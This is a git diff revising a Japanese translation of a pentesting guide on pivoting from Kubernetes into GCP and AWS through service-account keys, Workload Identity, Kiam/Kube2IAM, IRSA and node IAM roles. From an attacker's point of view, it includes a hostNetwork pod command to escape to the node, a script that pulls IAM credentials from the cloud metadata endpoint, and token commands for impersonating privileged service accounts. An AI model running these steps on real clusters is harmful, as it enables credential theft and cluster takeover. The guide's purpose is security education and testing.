Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv

This commit is contained in:
Translator
2025-08-28 18:04:13 +00:00
parent 28b22a4b60
commit ad15cf6bab

View File

@@ -4,62 +4,62 @@
## GCP
GCP内でk8sクラスターを実行している場合、クラスター内で実行されているアプリケーションGCPアクセスできるようにしたいと思うでしょう。これを行う一般的な方法は2つあります
GCP 内で k8s クラスターを稼働させている場合、クラスター内で動作するアプリケーションGCP へのアクセスを与えたいことが多いです。これを実現する一般的な方法は 2 つあります:
### GCP-SAキーをシークレットとしてマウントする
### Mounting GCP-SA keys as secret
**KubernetesアプリケーションにGCPへのアクセスを提供する**一般的な方法は次のとおりです
Kubernetes アプリケーションに GCP へのアクセスを与える一般的な方法は次のりです:
- GCPサービスアカウントを作成する
- 必要な権限をバインドする
- 作成したSAのjsonキーをダウンロードする
- ポッド内にシークレットとしてマウントする
- jsonがあるパスを指すGOOGLE_APPLICATION_CREDENTIALS環境変数を設定する
- Create a GCP Service Account
- Bind on it the desired permissions
- Download a json key of the created SA
- Mount it as a secret inside the pod
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
> [!WARNING]
> したがって、**攻撃者**として、ポッド内のコンテナを侵害した場合は、その**env** **variable****json** **files**にGCPの資格情報が含まれているか確認する必要があります。
> したがって、**attacker** として、pod 内のコンテナを侵害した場合は、GCP 資格情報を含む **env** **variable****json** **files** がないか確認するべきです。
### GSA jsonをKSAシークレットに関連付ける
### Relating GSA json to KSA secret
GKEクラスターにGSAへのアクセスを提供する方法は、次のようにバインドすることです
GSA に GKE cluser へのアクセスを与える方法の一つは、次のようにそれらをバインドすることです:
- 次のコマンドを使用して、GKEクラスターと同じ名前空間にKubernetesサービスアカウントを作成します。
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
```bash
Copy codekubectl create serviceaccount <service-account-name>
kubectl create serviceaccount <service-account-name>
```
- GKE クラスターへのアクセスを付与したい GCP サービス アカウントの資格情報を含む Kubernetes Secret を作成します。次の例のように、`gcloud` コマンドライン ツールを使用してこれを行うことができます:
- Kubernetes Secret を作成し、GKE cluster にアクセスを付与したい GCP service account の認証情報を含めます。これは `gcloud` コマンドラインツールを使用して行えます。以下の例を参照してください:
```bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
```
- 次のコマンドを使用してKubernetes SecretKubernetesサービスアカウントにバインドします:
- 次のコマンドを使用して Kubernetes SecretKubernetes service account にバインドします:
```bash
Copy codekubectl annotate serviceaccount <service-account-name> \
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> **第二のステップ**で、**KSAの秘密としてGSAの資格情報が設定されました**。その後、**GKE**クラスターの**内部**からその**秘密を読み取ることができれば**、その**GCPサービスアカウントに昇格することができます**
> **second step**で、**credentials of the GSA as secret of the KSA** が設定されました。したがって、もし **read that secret** を **inside** の **GKE** クラスタから読み取ることができれば、**escalate to that GCP service account** できます。
### GKEワークロードアイデンティティ
### GKE Workload Identity
ワークロードアイデンティティを使用すると、[Kubernetesサービスアカウント](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)[Googleサービスアカウント](https://cloud.google.com/iam/docs/understanding-service-accounts)として機能するように構成できます。Kubernetesサービスアカウントで実行されるポッドは、Google Cloud APIにアクセスする際に自動的にGoogleサービスアカウントとして認証されます。
Workload Identity を使用すると、a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) として動作させるように設定できます。Kubernetes service account を使って実行される Pods は、Google Cloud APIs にアクセスする際に自動的に Google service account として認証されます。
この動作を有効にするための**最初の一連のステップ**は、**GCPでワークロードアイデンティティを有効にすること**[**手順**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)と、k8sが模倣するGCP SAを作成することです。
The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.
- 新しいクラスターで**ワークロードアイデンティティを有効にする**
- **Enable Workload Identity** on a new cluster
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **新しいノードプールを作成/更新する**(オートパイロットクラスターでは必要ありません)
- **新しい nodepool を作成/更新** (Autopilot clusters では不要)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- K8sからGCP権限を持つ**GCPサービスアカウントを偽装する**を作成します:
- K8sからGCP権限を持つ **GCP Service Account to impersonate** を作成する:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **クラスタ**に**接続**し、使用する**サービスアカウント**を**作成**します。
- **クラスタ**に**接続**し、使用する**サービスアカウント**を**作成**する
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- **KSA**を使用して**pod**を実行し、**GSA**への**アクセス**を確認します:
- **pod** を **KSA**実行し、**GSA:** への **access** を確認する
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
必要に応じて認証するための次のコマンドを確認してください:
必要に応じて認証するために、以下のコマンドを確認してください
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> K8s内の攻撃者として、**`iam.gke.io/gcp-service-account` アノテーション**を持つ**SAs**を**検索する**べきです。これはそのSAGCPの何かにアクセスできることを示しています。もう一つの選択肢は、クラスタ内の各KSAを悪用し、それがアクセス権を持っているかどうかを確認することす。\
> GCPからは、バインディングを列挙し、**Kubernetes内のSAsにどのようなアクセスを与えているかを知る**ことが常に興味深いです。
> K8s 内の攻撃者としては **SAs を検索する**べきです(`iam.gke.io/gcp-service-account` アノテーションを持つもの)。これはその SAGCP の何かにアクセスできることを示しています。別の方法として、クラスタ内の各 KSA を悪用できないか試し、それがアクセスできるか確認することもあります。\
> GCPからは、bindings を列挙し、**Kubernetes 内の SAs にどのようなアクセスを与えているか**を把握することが常に重要です。
これはその**アノテーション**を探すために**すべてのポッド**定義を簡単に**反復する**スクリプトです
これはその **annotation** を探すために、全ての pods 定義を簡単に **iterate** するスクリプトです:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -139,11 +139,11 @@ done | grep -B 1 "gcp-service-account"
```
## AWS
### Kiam & Kube2IAM (PodsのためのIAMロール) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
PodsにIAMロールを付与する(古い)方法は、[**Kiam**](https://github.com/uswitch/kiam)または[**Kube2IAM**](https://github.com/jtblin/kube2iam) **サーバー**を使用することです。基本的に、**特権のあるIAMロール**の**デーモンセット**をクラスター内で実行する必要があります。このデーモンセットが、必要なポッドにIAMロールへのアクセスを提供します。
PodにIAM Rolesを付与する時代遅れの方法の一つは、[**Kiam**](https://github.com/uswitch/kiam) または [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.**を使ことです。基本的には、クラスター内で**daemonset**を**ある種の特権的なIAM role**の権限で実行する必要があります。このdaemonsetが、必要とするPodに対してIAM rolesへのアクセスを付与します。
まず最初に、**どのロールがネームスペース内でアクセス可能かを設定する**必要があり、これはネームスペースオブジェクト内のアノテーションで行います:
まず、**namespace内でどのrolesにアクセスできるか**を設定する必要があり、これはnamespaceオブジェクト内のannotationで行います:
```yaml:Kiam
kind: Namespace
metadata:
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
名前空間がIAMロールで構成されると、Podは次のように**各Pod定義で希望するロールを指定できます**:
namespace が IAM roles で設定され、Pods に付与可能になったら、各 pod 定義に対して **指定したい role を次のように示すことができます**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
@@ -171,12 +171,12 @@ annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> 攻撃者として、もしポッドや名前空間にこれらの**注釈**が見つかったり、kiam/kube2iamサーバーが実行されている場合おそらくkube-system内で)、あなたは**ポッドによって既に使用されているすべてのr**oleを**なりすます**ことができ、さらにAWSアカウントにアクセスできる場合はロールを列挙できます)。
> 攻撃者として、もし pods や namespaces に**これらの注釈を見つけ**たり、kiam/kube2iam サーバーが実行されている(おそらく kube-system に)場合、既に pods によって**使用されている**すべての role を**なりすます**ことができ、さらに多くのことが可能になりますAWS アカウントにアクセスできる場合はロールを列挙してください)。
#### IAMロールを持つポッドの作成
#### IAM Role を持つ Pod の作成
> [!NOTE]
> 指定するIAMロールは、kiam/kube2iamロールと同じAWSアカウント内に存在し、そのロールがアクセスできる必要があります。
> 指定する IAM role は kiam/kube2iam role と同じ AWS アカウント内に存在し、その role からアクセスできる必要があります。
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -192,14 +192,14 @@ image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### OIDC 経由の K8s Service Accounts 用 IAM Role <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
これは**AWSによる推奨方法**です。
これは **AWS によって推奨される方法** です。
1. まず最初に、[クラスターのためのOIDCプロバイダーを作成する](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)必要があります。
2. 次に、SAが必要とする権限を持つIAMロールを作成します。
3. [IAMロールとSAの間に信頼関係を作成する](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html)必要があります(または、名前空間がロールへのアクセスをすべてのSAに与える。_信頼関係は主にOIDCプロバイダー名、名前空間名、SA名を確認します_。
4. 最後に、**ロールのARNを示すアノテーションを持つSAを作成し**そのSAで実行されるポッドは**ロールのトークンにアクセスできる**ようになります。**トークン**は**ファイルに書き込まれ**、パスは**`AWS_WEB_IDENTITY_TOKEN_FILE`**指定されます(デフォルト: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`
1. まず最初に、[create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html) を作成する必要があります。
2. 次に、SA が必要とする権限を持つ IAM role を作成します。
3. [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) を作成します(または namespace を指定して、その namespace 内のすべての SA にロールへのアクセスを与えることもできます。_信頼関係は主に OIDC provider 名、namespace 名、SA 名が検証されます_。
4. 最後に、**ロールの ARN を示す annotation を付けた SA を作成します**その SA で実行される pods はロールの **token へアクセス** できます。**token** はファイルに **書き込まれ**、パスは **`AWS_WEB_IDENTITY_TOKEN_FILE`**指定されます(デフォルト: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
@@ -216,27 +216,27 @@ kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
`/var/run/secrets/eks.amazonaws.com/serviceaccount/token` からトークンを使用して **awsを取得する** には、次のコマンドを実行します:
`/var/run/secrets/eks.amazonaws.com/serviceaccount/token` から **トークンを使って aws を取得する** には、次を実行します:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> 攻撃者として、K8s クラスタを列挙できる場合は、**そのアノテーションを持つサービスアカウント**を確認して**AWSにエスカレート**してください。そうするには、IAMの**特権サービスアカウント**の1つを使用して**exec/create**を行い、トークンを盗みます。
> 攻撃者として、K8s クラスタを列挙できる場合は、**service accounts with that annotation** を確認して **escalate to AWS** できるか調べてください。これを行うには、IAM の **privileged service accounts** のいずれかを使って **exec/create** で **pod** を起動し、token を盗むだけです。
>
> さらに、ポッド内にいる場合は、**AWS_ROLE_ARN****AWS_WEB_IDENTITY_TOKEN**のような環境変数を確認してください。
> さらに、pod 内にいる場合は、**AWS_ROLE_ARN****AWS_WEB_IDENTITY_TOKEN** のような環境変数を確認してください。
> [!CAUTION]
> 時々、役割の**Trust Policy**が**不適切に構成されている**場合があり、期待されるサービスアカウントにAssumeRoleアクセスを与える代わりに**すべてのサービスアカウント**に与えてしまうことがあります。したがって、制御されたサービスアカウントにアノテーションを書き込むことができれば、その役割にアクセスできます。
> 場合によっては、**Turst Policy of a role** が **bad configured** になっており、期待される service account に AssumeRole アクセスを与える代わりに **all the service accounts** に付与してしまうことがあります。したがって、制御下の service account に annotation を書き込むことができれば、その role にアクセスできます。
>
> **詳細については、以下のページを確認してください**:
> 詳細は以下のページを確認してください
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### クラスター内のIAMロールを持つポッドとサービスアカウントを見つける
### クラスタ内で IAM Roles を持つ Pods と SAs を見つける
これは、**すべてのポッドとサービスアカウント**の定義を**反復処理**して**そのアノテーション**を探すためのスクリプトです:
これは、**iterate over the all the pods and sas** definitions **looking** for that **annotation** を簡単に行うスクリプトです:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -253,19 +253,25 @@ echo ""
done
done | grep -B 1 "amazonaws.com"
```
### Node IAM Role
### Node IAM Role to cluster-admin
前のセクションでは、ポッドを使用してIAMロールを盗む方法について説明しましたが、K8sクラスターの**ノードはクラウド内のインスタンス**であることに注意してください。これは、ノードが**新しいIAMロールを持っている可能性が高い**ことを意味します_通常、K8sクラスターのすべてのードは同じIAMロールを持っているため、各ードを確認する価値がないかもしれません_
The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have an IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).
ただし、ードからメタデータエンドポイントにアクセスするためには重要な要件があります。ード内にいる必要がありますsshセッションまたは少なくとも同じネットワークにいる必要があります。
- pod の中にいて、metadata endpoint が少なくとも 2 tcp hops を通るように設定されていること。これは最も一般的なミスコンフィグで、通常クラスター内の異なる pods が metadata endpoint へのアクセスを必要とし、いくつかの企業は単にクラスター内のすべての pods から metadata endpoint へのアクセスを許可してしまうためです。
- `hostNetwork` が有効な pod の中にいること。
- Node にエスケープして、metadata endpoint に直接アクセスすること。
metadata endpoint はいつもどおり 169.254.169.254 です)。
To **escape to the node** you can use the following command to run a pod with `hostNetwork` enabled:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### IAMロールトークンを盗む
### Steal IAM Role Token
以前、**ポッドにIAMロールをアタッチする**方法や、インスタンスにアタッチされているIAMロールを盗むために**ノードにエスケープする**方法について説明しました。
以前、**attach IAM Roles to Pods** の方法や、インスタンスにアタッチされている **escape to the Node to steal the IAM Role** 方法について説明しました。
のスクリプトを使用して、あなたの新しく努力して得た**IAMロールの資格情報**を**盗む**ことができます
以下のスクリプトを使って、苦労して手に入れた新しい **IAM role credentials** を **steal** できます:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
@@ -276,6 +282,19 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE
fi
fi
```
### Privesc to cluster-admin
要約すると: pod から **access the EKS Node IAM role** が可能であれば、**compromise the full kubernetes cluster** が可能です。
詳細は [this post](https://blog.calif.io/p/privilege-escalation-in-eks) を参照してください。概要として、EKS ノードにデフォルトで割り当てられる IAM ロールは、クラスター内で `system:node` ロールとして割り当てられます。このロールは非常に興味深いものですが、kubernetes の [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) によって制限されています。
しかし、node は常にノード内で動作している pods に紐づく service accounts のために **generate tokens for service accounts** ことができます。したがって、ノードが privileged service account を持つ pod を実行している場合、ノードはその service account のトークンを生成し、それを使ってその service account を偽装できます。例は次のとおり:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
```
## 参考文献
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)